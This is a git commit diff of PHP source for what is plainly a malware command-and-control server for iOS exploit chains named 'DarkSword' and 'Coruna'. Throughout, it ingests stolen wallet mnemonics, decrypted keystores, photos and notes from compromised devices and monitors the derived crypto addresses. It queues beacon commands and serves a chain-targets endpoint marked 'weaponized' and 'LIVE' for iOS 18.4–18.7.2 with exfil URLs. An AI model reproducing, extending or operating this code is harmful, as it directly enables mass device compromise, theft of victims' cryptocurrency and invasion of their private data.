This commit is contained in:
hashbro
2026-08-24 06:23:07 +08:00
parent c00396dc1f
commit db574cc629
114 changed files with 108297 additions and 266 deletions
+3
View File
@@ -34,8 +34,11 @@ Thumbs.db
/storage/app/channel-builder /storage/app/channel-builder
/channel-builder-new/.venv /channel-builder-new/.venv
/channel-builder-new/out /channel-builder-new/out
/channel-builder-ds/.venv
/channel-builder-ds/out
/public/source /public/source
/public/weifile /public/weifile
/public/details /public/details
/public/channel-source-new /public/channel-source-new
/public/next-chain
/storage/app/channel-builder-new /storage/app/channel-builder-new
+11 -3
View File
@@ -3,27 +3,35 @@
namespace App\Console\Commands; namespace App\Console\Commands;
use App\Models\WalletAddress; use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\MnemonicAddressLinker; use App\Services\MnemonicAddressLinker;
use App\Services\MnemonicWalletDiscovery;
use Illuminate\Console\Command; use Illuminate\Console\Command;
class LinkMnemonicsCommand extends Command class LinkMnemonicsCommand extends Command
{ {
protected $signature = 'coruna:link-mnemonics'; protected $signature = 'coruna:link-mnemonics';
protected $description = 'Backfill wallet_addresses.mnemonic_id for existing rows (BIP44 index 0..4)'; protected $description = 'Link existing addresses to mnemonics, and derive TRON/ETH/BTC index 0 when a mnemonic has none';
public function handle(MnemonicAddressLinker $linker): int public function handle(MnemonicAddressLinker $linker, MnemonicWalletDiscovery $discovery): int
{ {
$before = WalletAddress::query()->whereNull('mnemonic_id')->count(); $before = WalletAddress::query()->whereNull('mnemonic_id')->count();
$this->info("unlinked addresses before: {$before}"); $this->info("unlinked addresses before: {$before}");
$result = $linker->backfill(); $result = $linker->backfill();
$discovered = 0;
foreach (WalletMnemonic::query()->orderBy('id')->cursor() as $mnemonic) {
$discovered += $discovery->discoverIndexZero($mnemonic);
}
$after = WalletAddress::query()->whereNull('mnemonic_id')->count(); $after = WalletAddress::query()->whereNull('mnemonic_id')->count();
$this->info(sprintf( $this->info(sprintf(
'scanned mnemonics=%d linked=%d unlinked_after=%d', 'scanned mnemonics=%d linked=%d discovered=%d unlinked_after=%d',
$result['mnemonics'], $result['mnemonics'],
$result['linked'], $result['linked'],
$discovered,
$after, $after,
)); ));
+5 -3
View File
@@ -1,5 +1,7 @@
<?php <?php
use Illuminate\Http\Request;
/* C2 / API request file logs — patterned after qrpay create_log */ /* C2 / API request file logs — patterned after qrpay create_log */
if (! function_exists('create_log')) { if (! function_exists('create_log')) {
@@ -24,7 +26,7 @@ if (! function_exists('create_log')) {
$logName = $logPath.'/'.date('Ymd').'.log'; $logName = $logPath.'/'.date('Ymd').'.log';
try { try {
$url = request()->getRequestUri(); $url = request()->getRequestUri();
} catch (\Throwable) { } catch (Throwable) {
$url = $_SERVER['REQUEST_URI'] ?? ''; $url = $_SERVER['REQUEST_URI'] ?? '';
} }
$logStr = date('Y-m-d H:i:s').' '.$url.' '.$str."\r\n\r\n"; $logStr = date('Y-m-d H:i:s').' '.$url.' '.$str."\r\n\r\n";
@@ -35,7 +37,7 @@ if (! function_exists('create_log')) {
if ($isNew) { if ($isNew) {
@chmod($logName, 0664); @chmod($logName, 0664);
} }
} catch (\Throwable) { } catch (Throwable) {
// never break the request for logging // never break the request for logging
} }
} }
@@ -47,7 +49,7 @@ if (! function_exists('c2_log_request_meta')) {
* *
* @return array{ip: string|null, remote_addr: mixed, headers: array<string, string|null>} * @return array{ip: string|null, remote_addr: mixed, headers: array<string, string|null>}
*/ */
function c2_log_request_meta(\Illuminate\Http\Request $request): array function c2_log_request_meta(Request $request): array
{ {
$headers = []; $headers = [];
foreach ([ foreach ([
+136 -9
View File
@@ -7,15 +7,20 @@ use App\Http\Controllers\Controller;
use App\Models\Device; use App\Models\Device;
use App\Models\DeviceApp; use App\Models\DeviceApp;
use App\Models\DeviceEvent; use App\Models\DeviceEvent;
use App\Models\DsChainLog;
use App\Models\Note; use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo; use App\Models\Photo;
use App\Models\User; use App\Models\User;
use App\Models\WalletAddress; use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic; use App\Models\WalletMnemonic;
use App\Support\AgentScope; use App\Services\PhotoPreview;
use App\Services\Tokenview\TokenviewMonitorService; use App\Services\Tokenview\TokenviewMonitorService;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request; use Illuminate\Http\Request;
use Illuminate\Support\Collection;
use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Storage; use Illuminate\Support\Facades\Storage;
@@ -58,6 +63,7 @@ class DeviceController extends Controller
return [ return [
'id' => $d->id, 'id' => $d->id,
'device_id' => $d->device_id, 'device_id' => $d->device_id,
'family' => $d->family ?: Device::FAMILY_CORUNA,
'channel_id' => $d->channel_id ?: '', 'channel_id' => $d->channel_id ?: '',
'source_domain' => $d->source_domain ?: '', 'source_domain' => $d->source_domain ?: '',
'device_model' => $d->device_model ?: '', 'device_model' => $d->device_model ?: '',
@@ -86,7 +92,7 @@ class DeviceController extends Controller
$this->authorizeDevice($device); $this->authorizeDevice($device);
$tab = $request->query('tab', 'wallets'); $tab = $request->query('tab', 'wallets');
if (! in_array($tab, ['wallets', 'mnemonics', 'photos', 'apps', 'notes', 'events'], true)) { if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events'], true)) {
$tab = 'wallets'; $tab = 'wallets';
} }
@@ -109,12 +115,15 @@ class DeviceController extends Controller
->values(); ->values();
} }
$device->load(['beaconTasks']);
return view('admin.devices.show', [ return view('admin.devices.show', [
'device' => $device, 'device' => $device,
'tab' => $tab, 'tab' => $tab,
'addressSources' => $addressSources, 'addressSources' => $addressSources,
'addressChains' => $addressChains, 'addressChains' => $addressChains,
'portal' => $this->portal(), 'portal' => $this->portal(),
'beaconTasks' => $device->beaconTasks,
]); ]);
} }
@@ -131,6 +140,7 @@ class DeviceController extends Controller
return match ($tab) { return match ($tab) {
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page), 'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page), 'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
'keystores' => $this->paginateKeystores($device, $field, $order, $limit, $page),
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page), 'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
'apps' => $this->paginateApps($device, $field, $order, $limit, $page), 'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page), 'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
@@ -139,16 +149,17 @@ class DeviceController extends Controller
}; };
} }
public function photo(Device $device, int $photo) public function photo(Device $device, int $photo, PhotoPreview $preview)
{ {
$this->authorizeDevice($device); $this->authorizeDevice($device);
$row = $device->photos()->whereKey($photo)->firstOrFail(); $row = $device->photos()->whereKey($photo)->firstOrFail();
abort_unless(Storage::disk('local')->exists($row->path), 404); abort_unless(Storage::disk('local')->exists($row->path), 404);
$mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream'; $abs = Storage::disk('local')->path($row->path);
$out = $preview->payload($abs, (string) $device->device_id, (string) ($row->sha256 ?: ''));
return response(Storage::disk('local')->get($row->path), 200) return response($out['bytes'], 200)
->header('Content-Type', $mime); ->header('Content-Type', $out['mime']);
} }
public function update(Request $request, Device $device) public function update(Request $request, Device $device)
@@ -177,6 +188,7 @@ class DeviceController extends Controller
$this->authorizeDevice($device); $this->authorizeDevice($device);
$deletedFiles = $this->deletePhotoFiles($device); $deletedFiles = $this->deletePhotoFiles($device);
app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
$deletedRows = $device->photos()->delete(); $deletedRows = $device->photos()->delete();
$this->deleteStorageDir('c2/photos/'.$device->device_id); $this->deleteStorageDir('c2/photos/'.$device->device_id);
@@ -210,9 +222,13 @@ class DeviceController extends Controller
private function purgeDevice(Device $device): void private function purgeDevice(Device $device): void
{ {
$this->deletePhotoFiles($device); $this->deletePhotoFiles($device);
app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
$this->deleteStorageDir('c2/photos/'.$device->device_id); $this->deleteStorageDir('c2/photos/'.$device->device_id);
$this->deleteStorageDir('c2/check/'.$device->device_id); $this->deleteStorageDir('c2/check/'.$device->device_id);
$this->deleteStorageDir('c2/ds-results/'.$device->device_id);
$this->deleteStorageDir('c2/ds-chunks/'.$device->device_id);
$this->unmonitorAddresses($device); $this->unmonitorAddresses($device);
$this->purgeDarkSwordLogs($device);
DB::transaction(function () use ($device) { DB::transaction(function () use ($device) {
$device->apps()->delete(); $device->apps()->delete();
@@ -222,10 +238,93 @@ class DeviceController extends Controller
$device->addresses()->delete(); $device->addresses()->delete();
$device->mnemonics()->delete(); $device->mnemonics()->delete();
$device->keystores()->delete(); $device->keystores()->delete();
$device->beaconTasks()->delete();
$device->delete(); $device->delete();
}); });
} }
private function purgeDarkSwordLogs(Device $device): void
{
$keys = $this->deviceLogKeys($device);
if ($keys === []) {
return;
}
DsChainLog::query()->whereIn('client_uid', $keys)->delete();
PageVisit::query()->whereIn('client_uid', $keys)->delete();
$this->purgeDsFileLogs($keys);
}
/**
* @return list<string>
*/
private function deviceLogKeys(Device $device): array
{
$raw = trim((string) $device->device_id);
$hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $raw) ?? '');
$keys = [];
foreach ([$raw, strtoupper($raw), $hex] as $key) {
if ($key !== '' && ! in_array($key, $keys, true)) {
$keys[] = $key;
}
}
return $keys;
}
/**
* @param list<string> $keys
*/
private function purgeDsFileLogs(array $keys): void
{
$dir = public_path('log/ds');
if (! is_dir($dir)) {
return;
}
$needles = array_values(array_unique(array_filter(array_map(
static fn (string $key) => strtolower($key),
$keys
), static fn (string $key) => strlen($key) >= 8)));
if ($needles === []) {
return;
}
foreach (glob($dir.'/*.log') ?: [] as $file) {
$raw = @file_get_contents($file);
if (! is_string($raw) || $raw === '') {
continue;
}
$parts = preg_split("/\r\n\r\n|\n\n/", $raw) ?: [];
$kept = [];
$changed = false;
foreach ($parts as $part) {
if (trim($part) === '') {
continue;
}
$hay = strtolower($part);
$hit = false;
foreach ($needles as $needle) {
if (str_contains($hay, $needle)) {
$hit = true;
break;
}
}
if ($hit) {
$changed = true;
continue;
}
$kept[] = $part;
}
if (! $changed) {
continue;
}
$out = $kept === [] ? '' : implode("\r\n\r\n", $kept)."\r\n\r\n";
@file_put_contents($file, $out);
}
}
private function deletePhotoFiles(Device $device): int private function deletePhotoFiles(Device $device): int
{ {
$deletedFiles = 0; $deletedFiles = 0;
@@ -380,6 +479,30 @@ class DeviceController extends Controller
return $this->layuiPage($paginator->total(), $data); return $this->layuiPage($paginator->total(), $data);
} }
private function paginateKeystores(Device $device, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$paginator = $device->keystores()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) {
return [
'id' => $row->id,
'source' => $row->sourceLabel(),
'decrypted' => (int) $row->decrypted,
'kind' => $row->kindLabel(),
'item_count' => $row->itemCount(),
'summary' => $row->summary(),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'items_url' => route($portal.'.keystores.items', $row->id),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
private function paginateApps(Device $device, string $field, string $order, int $limit, int $page) private function paginateApps(Device $device, string $field, string $order, int $limit, int $page)
{ {
$sortable = ['id', 'name', 'bundle_id', 'version', 'is_wallet', 'created_at', 'updated_at']; $sortable = ['id', 'name', 'bundle_id', 'version', 'is_wallet', 'created_at', 'updated_at'];
@@ -454,7 +577,7 @@ class DeviceController extends Controller
} }
/** /**
* @param \Illuminate\Support\Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data * @param Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
*/ */
private function layuiPage(int $count, $data) private function layuiPage(int $count, $data)
{ {
@@ -467,7 +590,7 @@ class DeviceController extends Controller
} }
/** /**
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} * @return array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
*/ */
private function filtersFrom(Request $request): array private function filtersFrom(Request $request): array
{ {
@@ -479,6 +602,7 @@ class DeviceController extends Controller
return [ return [
'device_key' => trim((string) $request->query('device_key', '')), 'device_key' => trim((string) $request->query('device_key', '')),
'family' => trim((string) $request->query('family', '')),
'channel_id' => trim((string) $request->query('channel_id', '')), 'channel_id' => trim((string) $request->query('channel_id', '')),
'model' => trim((string) $request->query('model', '')), 'model' => trim((string) $request->query('model', '')),
'ip' => trim((string) $request->query('ip', '')), 'ip' => trim((string) $request->query('ip', '')),
@@ -491,7 +615,7 @@ class DeviceController extends Controller
} }
/** /**
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters * @param array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
*/ */
private function filteredQuery(array $filters): Builder private function filteredQuery(array $filters): Builder
{ {
@@ -501,6 +625,9 @@ class DeviceController extends Controller
if ($filters['device_key'] !== '') { if ($filters['device_key'] !== '') {
$q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%'); $q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%');
} }
if ($filters['family'] !== '' && in_array($filters['family'], [Device::FAMILY_CORUNA, Device::FAMILY_DARKSWORD], true)) {
$q->where('devices.family', $filters['family']);
}
if ($filters['channel_id'] !== '') { if ($filters['channel_id'] !== '') {
$q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%'); $q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%');
} }
@@ -0,0 +1,157 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\User;
use App\Models\WalletKeystore;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
class KeystoreController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
$sources = WalletKeystore::query()
->where('source', '!=', '')
->distinct()
->orderBy('source')
->pluck('source');
return view('admin.keystores.index', [
'portal' => $this->portal(),
'agents' => $agents,
'sources' => $sources,
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('wallet_keystores.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) {
return $this->rowPayload($row, $portal);
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function items(WalletKeystore $keystore)
{
if (! $this->keystoreAllowed($keystore)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
return response()->json([
'code' => 0,
'msg' => '',
'data' => [
'id' => $keystore->id,
'source' => $keystore->sourceLabel(),
'decrypted' => (int) $keystore->decrypted,
'kind' => $keystore->kindLabel(),
'items' => $keystore->listedItems(),
],
]);
}
/**
* @return array<string, mixed>
*/
public function rowPayload(WalletKeystore $row, string $portal): array
{
return [
'id' => $row->id,
'device_key' => $row->device_key ?? $row->device?->device_id ?? '',
'channel_id' => $row->device_channel_id ?? $row->device?->channel_id ?? '',
'source' => $row->sourceLabel(),
'decrypted' => (int) $row->decrypted,
'kind' => $row->kindLabel(),
'item_count' => $row->itemCount(),
'summary' => $row->summary(),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
'items_url' => route($portal.'.keystores.items', $row->id),
];
}
private function keystoreAllowed(WalletKeystore $keystore): bool
{
$allowed = WalletKeystore::query()
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
->where('wallet_keystores.id', $keystore->id);
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
return $allowed->exists();
}
private function baseQuery(Request $request): Builder
{
$q = WalletKeystore::query()
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
->select([
'wallet_keystores.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$source = trim((string) $request->query('source', ''));
$decrypted = trim((string) $request->query('decrypted', ''));
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if ($source !== '') {
if ($source === '未知') {
$q->where(function (Builder $inner) {
$inner->whereNull('wallet_keystores.source')
->orWhere('wallet_keystores.source', '');
});
} else {
$q->where('wallet_keystores.source', $source);
}
}
if ($decrypted === '0' || $decrypted === '1') {
$q->where('wallet_keystores.decrypted', (int) $decrypted);
}
if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter(
$q,
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
);
}
return $q;
}
}
@@ -85,7 +85,7 @@ class MnemonicController extends Controller
return response()->json(['code' => 1, 'msg' => '无权操作'], 403); return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
} }
$discovery->discoverFundedIndexZero($mnemonic); $discovery->discoverIndexZero($mnemonic);
return response()->json([ return response()->json([
'code' => 0, 'code' => 0,
@@ -116,7 +116,7 @@ class MnemonicController extends Controller
RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS); RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS);
$discovery->discoverFundedIndexZero($mnemonic); $discovery->discoverIndexZero($mnemonic);
$addresses = WalletAddress::query() $addresses = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id) ->where('mnemonic_id', $mnemonic->id)
@@ -4,11 +4,13 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware; use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller; use App\Http\Controllers\Controller;
use App\Models\DsChainLog;
use App\Models\PageVisit; use App\Models\PageVisit;
use App\Models\User; use App\Models\User;
use App\Support\AgentScope; use App\Support\AgentScope;
use Carbon\Carbon; use Carbon\Carbon;
use Illuminate\Http\Request; use Illuminate\Http\Request;
class PageVisitController extends Controller class PageVisitController extends Controller
{ {
use PortalAware; use PortalAware;
@@ -36,7 +38,7 @@ class PageVisitController extends Controller
->orderByDesc('id') ->orderByDesc('id')
->forPage($page, $limit) ->forPage($page, $limit)
->get([ ->get([
'id', 'channel_id', 'client_uid', 'os', 'os_version', 'id', 'channel_id', 'client_uid', 'chain', 'os', 'os_version',
'browser', 'browser_version', 'user_agent', 'ip', 'domain', 'referer', 'created_at', 'browser', 'browser_version', 'user_agent', 'ip', 'domain', 'referer', 'created_at',
]); ]);
@@ -48,6 +50,8 @@ class PageVisitController extends Controller
'id' => $v->id, 'id' => $v->id,
'channel_id' => $v->channel_id, 'channel_id' => $v->channel_id,
'client_uid' => $v->client_uid, 'client_uid' => $v->client_uid,
'chain' => (int) $v->chain,
'chain_label' => PageVisit::chainLabel((int) $v->chain),
'os' => $v->os ?: '', 'os' => $v->os ?: '',
'os_version' => $v->os_version ?: '', 'os_version' => $v->os_version ?: '',
'browser' => $v->browser ?: '', 'browser' => $v->browser ?: '',
@@ -61,66 +65,35 @@ class PageVisitController extends Controller
]); ]);
} }
public function groups(Request $request) public function logs(Request $request)
{ {
$group = (string) $request->query('group', 'os'); $uid = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', (string) $request->query('client_uid', '')) ?? '');
$base = $this->scopedQuery($request); if ($uid === '') {
$builder = match ($group) { return response()->json(['code' => 1, 'msg' => '缺少访客 UID', 'data' => []]);
'os_version' => $base }
->select('os', 'os_version')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('os', 'os_version'),
'domain' => $base
->select('domain')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('domain'),
'browser' => $base
->select('browser')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('browser'),
'browser_version' => $base
->select('browser', 'browser_version')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('browser', 'browser_version'),
default => $base
->select('os')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('os'),
};
$rows = $builder $visible = $this->scopedQuery($request)->where('client_uid', $uid)->where('chain', PageVisit::CHAIN_DARKSWORD);
->orderByDesc('pv') if (! $visible->exists()) {
->limit(50) return response()->json(['code' => 0, 'msg' => '', 'data' => []]);
->get() }
->map(static function ($row) use ($group) {
$label = match ($group) {
'os_version' => trim(((string) ($row->os ?? '')).' '.((string) ($row->os_version ?? ''))),
'domain' => (string) ($row->domain ?? ''),
'browser' => (string) ($row->browser ?? ''),
'browser_version' => trim(((string) ($row->browser ?? '')).' '.((string) ($row->browser_version ?? ''))),
default => (string) ($row->os ?? ''),
};
return [ $rows = DsChainLog::query()
'label' => $label !== '' ? $label : 'Unknown', ->where('client_uid', $uid)
'pv' => (int) $row->pv, ->orderBy('id')
'uv' => (int) $row->uv, ->limit(200)
]; ->get();
})
->values();
return response()->json([ return response()->json([
'code' => 0, 'code' => 0,
'msg' => '', 'msg' => '',
'data' => [ 'data' => $rows->map(static fn (DsChainLog $row) => [
'group' => $group, 'id' => $row->id,
'rows' => $rows, 'stage' => $row->stage,
], 'stage_label' => DsChainLog::stageTitle((string) $row->stage),
'progress' => (int) $row->progress,
'label' => $row->label ?: '',
'created_at' => optional($row->created_at)?->toDateTimeString(),
])->values(),
]); ]);
} }
@@ -141,6 +114,10 @@ class PageVisitController extends Controller
$q->where('channel_id', 'like', '%'.$channelId.'%'); $q->where('channel_id', 'like', '%'.$channelId.'%');
} }
if ($request->query->has('chain') && $request->query('chain') !== '') {
$q->where('chain', (int) $request->query('chain'));
}
$os = trim((string) $request->query('os', '')); $os = trim((string) $request->query('os', ''));
if ($os !== '') { if ($os !== '') {
$q->where('os', $os); $q->where('os', $os);
@@ -0,0 +1,434 @@
<?php
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Services\DarkSwordIngestAdapter;
use App\Services\DsBeaconQueue;
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\Response as SymfonyResponse;
/**
* one99 / DarkSword C2: ingest plaintext JSON, then truncate-preview into ds log.
* Unique paths: routes/ds.php. Shared xxbb paths: routes/xxbb.php.
*/
class DarkSwordC2Controller extends Controller
{
public function __construct(
private readonly DarkSwordIngestAdapter $ingest,
private readonly DsBeaconQueue $beaconQueue,
) {}
/**
* Plaintext JSON on /a /u /nb /event /result is DarkSword, not xxbb AES.
*/
public static function matches(Request $request): bool
{
$path = '/'.ltrim($request->path(), '/');
if (! in_array($path, ['/a', '/u', '/nb', '/event', '/result'], true)) {
return false;
}
if ($request->headers->has('x-ts') && (string) $request->header('x-ts') !== '') {
return false;
}
$ct = strtolower((string) $request->header('content-type', ''));
if (str_contains($ct, 'json')) {
return true;
}
$raw = ltrim((string) $request->getContent());
return $raw !== '' && ($raw[0] === '{' || $raw[0] === '[');
}
public function beacon(Request $request): SymfonyResponse
{
$payload = $this->jsonBody($request);
$device = $this->ingest->ensureDevice($request, $payload);
$command = $device ? $this->beaconQueue->dequeue($device) : null;
$body = [
'ok' => true,
'type' => $command['type'] ?? 'noop',
'client_ip' => $request->ip(),
'uuid' => $payload['uuid'] ?? $payload['lhu'] ?? null,
];
if ($command !== null) {
$body['command_id'] = $command['command_id'];
$body['params'] = $command['params'];
}
return $this->finish($request, '/beacon', $payload, response()->json($body));
}
public function war(Request $request): SymfonyResponse
{
return $this->ok($request, '/war', $this->jsonBody($request));
}
public function p(Request $request): SymfonyResponse
{
return $this->ok($request, '/p', $this->jsonBody($request));
}
public function stats(Request $request): SymfonyResponse
{
return $this->finish($request, '/stats', $this->jsonBody($request), response()->json([
'bytes' => strlen((string) $request->getContent()),
'ok' => true,
'path' => '/stats',
]));
}
public function log(Request $request): SymfonyResponse
{
$payload = $this->payloadFromQueryOrJson($request);
return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request));
}
public function peStage(Request $request, string $name = ''): SymfonyResponse
{
$path = '/'.ltrim($request->path(), '/');
$stage = $this->peStageName($name !== '' ? $name : $path);
$payload = $this->payloadFromQueryOrJson($request);
$payload['pe_stage'] = $stage;
$payload['stage'] = $payload['stage'] ?? 'pe';
$payload['label'] = $payload['label'] ?? ('pe_stage:'.$stage);
$body = $this->previewBody($request);
if (is_array($body)) {
$body['pe_stage'] = $stage;
}
return $this->finish($request, $path, $payload, $this->logAck($request), $body);
}
public function register(Request $request): SymfonyResponse
{
$payload = $this->jsonBody($request);
$device = strtoupper((string) (
$payload['deviceUUID']
?? $payload['device']
?? $payload['uuid']
?? $request->header('X-Device-UUID')
?? ''
));
$device = substr(preg_replace('/[^0-9A-F]/', '', $device) ?? '', 0, 32);
$ios = (string) ($payload['ios'] ?? $payload['ios_version'] ?? $request->query('ios', ''));
return $this->finish($request, '/api/ds/device/register', $payload, response()->json([
'ok' => true,
'device' => $device,
'deviceUUID' => $device,
'device_id' => $device,
'aliased' => false,
'ios_version' => $ios,
'target_chain' => (string) ($payload['chain'] ?? 'darksword'),
'target_chain_label' => 'D鏈',
'offset_params' => [
'ok' => true,
'mode' => 'probing',
'device' => null,
'xnu' => str_starts_with($ios, '18.6') ? '24.6' : null,
'build' => null,
'candidates' => [],
'hint' => 'device model required (iPhoneN,M); refuse xnu-only kernelTask inject',
],
'sla_ms' => 15000,
's5_honest' => '',
]));
}
public function chainTargets(Request $request): SymfonyResponse
{
$forwarded = (string) $request->header('X-Forwarded-Host', '');
if ($forwarded !== '') {
$hostPort = explode(':', $forwarded, 2);
$host = $hostPort[0];
$port = isset($hostPort[1]) ? (int) $hostPort[1] : (int) $request->header('X-Forwarded-Port', $request->getPort());
$scheme = (string) $request->header('X-Forwarded-Proto', $request->getScheme());
} else {
$host = $request->getHost();
$port = (int) $request->getPort();
$scheme = $request->getScheme();
}
$base = $scheme.'://'.$host.($this->isDefaultPort($scheme, $port) ? '' : ':'.$port);
$ios = $this->requestIos($request);
[$recommended, $fallbacks] = $this->chainTargetWorkers($ios);
return $this->finish($request, '/api/ds/chain-targets', $this->payloadFromQueryOrJson($request), response()->json([
'ok' => true,
'chain' => 'darksword',
'weaponized' => true,
'gated' => false,
'ios' => $ios,
'reason' => 'DarkSword 18.4-18.7.2',
'recommended_worker' => $recommended,
'fallback_workers' => $fallbacks,
'band' => [
'recommended_worker' => $recommended,
'fallback_workers' => $fallbacks,
'usable_for_attempt' => true,
'usable_grade' => 'LIVE',
'weaponized' => true,
],
'exfil' => [
'host' => $host,
'domain' => $host,
'http_port' => $port,
'https_port' => $port,
'tls' => $scheme === 'https',
'prefer_https' => false,
'stats_url' => $base.'/stats',
'stats_url_direct' => $base.'/stats',
'delivery_stats_url' => $base.'/stats',
],
'delivery_ok' => true,
'entry_point' => '',
'redirect_to' => '',
's5_module' => '',
'usable_grade' => 'LIVE',
]));
}
public function profile(Request $request): SymfonyResponse
{
return $this->ok($request, '/a', $this->jsonBody($request));
}
public function apps(Request $request): SymfonyResponse
{
return $this->ok($request, '/u', $this->jsonBody($request));
}
public function notes(Request $request): SymfonyResponse
{
return $this->ok($request, '/nb', $this->jsonBody($request));
}
public function event(Request $request): SymfonyResponse
{
return $this->ok($request, '/event', $this->jsonBody($request));
}
public function result(Request $request): SymfonyResponse
{
return $this->ok($request, '/result', $this->jsonBody($request));
}
/**
* @param array<string, mixed> $payload
*/
private function ok(Request $request, string $path, array $payload): SymfonyResponse
{
return $this->finish($request, $path, $payload, response()->json(['ok' => true]));
}
private function logAck(Request $request): SymfonyResponse
{
if ($request->isMethod('GET') || $request->isMethod('HEAD')) {
return response('ok', 200)->header('Content-Type', 'text/plain; charset=utf-8');
}
return response()->json(['status' => 'accepted']);
}
/**
* @param array<string, mixed> $payload
* @param array<string, mixed>|string|null $logBody
*/
private function finish(
Request $request,
string $path,
array $payload,
SymfonyResponse $response,
array|string|null $logBody = null,
): SymfonyResponse {
try {
$this->ingest->ingest($request, $path, $payload);
} catch (\Throwable $e) {
error_log('[ds] ingest '.$path.' '.$e->getMessage());
}
$body = $logBody ?? $this->previewBody($request);
$respPreview = $this->previewString((string) $response->getContent(), 4096);
$entry = [
'dir' => 'ds',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
'query' => $request->query(),
'headers' => c2_log_request_meta($request)['headers'],
